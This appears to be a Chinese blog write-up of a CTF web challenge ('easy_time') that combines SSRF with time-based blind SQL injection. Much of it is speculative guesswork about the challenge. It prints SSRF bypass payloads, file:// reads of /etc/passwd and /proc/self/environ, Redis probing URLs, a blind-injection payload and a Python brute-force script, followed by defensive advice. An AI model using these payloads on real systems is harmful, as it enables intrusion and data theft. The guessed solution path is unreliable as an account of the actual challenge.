CTF中的SSRF与时间盲注漏洞实战解析-代码聚汇网

CTF中的SSRF与时间盲注漏洞实战解析

SSRF时间盲注CTF

|难度：普通|阅读约 10 分钟

1. 项目背景与核心挑战

2026年CISCN全国大学生信息安全竞赛半决赛的Web类题目"easy_time"，是一道典型的服务端请求伪造(SSRF)与时间盲注结合的综合性题目。这道题目的环境基于Docker-compose部署，使用Apache作为Web服务器，考察选手对Web应用安全漏洞的深入理解和实战能力。

从题目名称"easy_time"可以推测，解题过程中会涉及到时间相关操作（如时间盲注、延时判断等），而"easy"前缀可能暗示存在非预期解或简化操作路径。结合相关热词分析，题目环境很可能包含以下技术栈：

Web服务器：Apache（热词中多次出现）
容器化：Docker-compose（题目部署方式）
漏洞类型：SSRF（服务端请求伪造）
其他可能组件：PHP（常见于CTF Web题）、Python Flask（现代Web题常用框架）

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 题目环境搭建与初步分析

2.1 Docker-compose环境解析

题目提供的docker-compose.yaml文件通常包含以下关键配置：

yaml复制version: '3'
services:
  web:
    build: .
    ports:
      - "8080:80"
    volumes:
      - ./src:/var/www/html
    environment:
      - FLAG=flag{test_flag}

典型特征包括：

将本地src目录挂载到容器内的Web根目录
通过环境变量设置flag（实际比赛中会采用更安全的存储方式）
端口映射将容器内80端口暴露到宿主机的8080端口

注意：实际比赛中切勿修改或查看docker-compose.yaml，这属于违规行为。此处分析仅用于技术研究。

2.2 Apache服务器配置要点

根据热词中频繁出现的"Apache"相关关键词，题目可能涉及以下配置：

特殊处理的.htaccess文件
非默认的Module加载（如mod_rewrite）
精心设计的Directory权限设置
非常规的ErrorDocument配置

通过curl命令初步探测服务器信息：

bash复制curl -I http://target:8080

重点关注返回头中的：

Server: Apache版本信息
X-Powered-By: 后端语言提示
其他自定义头部字段

3. SSRF漏洞利用深度解析

3.1 漏洞触发点定位

题目名中的"easy"提示可能存在明显的SSRF触发点，常见位置包括：

图片上传/预览功能
文件导入/导出功能
URL参数直接请求外部资源
Webhook或API测试功能

使用Burp Suite拦截请求后，可系统性地测试每个参数：

http复制GET /api/fetch?url=http://internal/service HTTP/1.1
Host: target:8080

3.2 绕过技巧实战

当遇到基础过滤时，可尝试以下绕过方式：

使用不同URL编码：
- 完全编码：http%3A%2F%2F127.0.0.1
- 部分编码：http://127.0.0.%31
利用DNS重绑定技术
使用非标准URI格式：
- 0://localhost:80
- localhost:+80
特殊协议利用：
- file:///etc/passwd
- gopher://（需服务端支持）

3.3 内网探测与利用

成功触发SSRF后，典型的内网探测步骤：

识别内网IP段（通常为172.16.0.0/12、10.0.0.0/8）
端口扫描常用服务（80, 8080, 6379等）
访问已知服务端点：
- Redis未授权访问：dict://redis:6379/KEYS *
- Memcache统计信息：http://internal:11211/stat

4. 时间盲注技术详解

4.1 基本原理与检测

时间盲注通过观察响应延迟判断查询条件真假，典型检测Payload：

sql复制' AND (SELECT sleep(2) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a')--

关键特征：

真条件导致明显延迟（如2秒）
假条件立即返回
需要逐字符爆破数据

4.2 高效爆破技术

使用Python实现自动化爆破：

python复制import requests
import time

charset = "0123456789abcdef"
url = "http://target:8080/vuln"

def check_char(pos, char):
    payload = f"' AND (SELECT sleep(2) FROM flag WHERE SUBSTRING(flag,{pos},1)='{char}')-- "
    start = time.time()
    requests.get(url, params={"id": payload})
    return time.time() - start > 1.5

flag = ""
for i in range(1, 33):
    for c in charset:
        if check_char(i, c):
            flag += c
            print(f"Found: {flag}")
            break

优化技巧：

使用二分法缩小字符范围
并行发送多个请求
动态调整延迟阈值

5. 综合解题路径还原

5.1 标准解题流程

发现SSRF入口点（如/api/fetch）
绕过过滤访问内网服务
发现内部时间盲注接口
通过延时判断爆破flag
提交完整flag格式

5.2 非预期解可能性

直接读取环境变量：

http复制GET /api/fetch?url=file:///proc/self/environ HTTP/1.1

利用Apache日志文件：

http复制GET /api/fetch?url=file:///var/log/apache2/access.log HTTP/1.1

容器逃逸相关漏洞（如Docker.sock暴露）

6. 防御方案与最佳实践

6.1 SSRF防护措施

输入验证：
- 白名单域名校验
- 禁止私有IP地址段
输出限制：
- 禁用重定向
- 设置CURLOPT_FOLLOWLOCATION=0
网络层防护：
- 出站流量防火墙规则
- 使用中间代理服务

6.2 时间盲注防护

参数化查询：

php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$input]);

速率限制：
- 单个IP请求频率限制
- 异常延迟检测
错误处理：
- 统一错误页面
- 禁用详细错误信息

7. 扩展思考与变种题型

基于DNS的SSRF利用
结合XXE的复合型SSRF
云环境下的元数据服务利用
非HTTP协议的时间盲注（如Redis命令注入）
分布式时间盲注检测技术

在实际渗透测试中，这类漏洞往往需要结合具体业务场景进行深度测试。建议通过搭建本地测试环境（如使用vulhub靶场）反复练习，掌握各种边界情况的处理方法。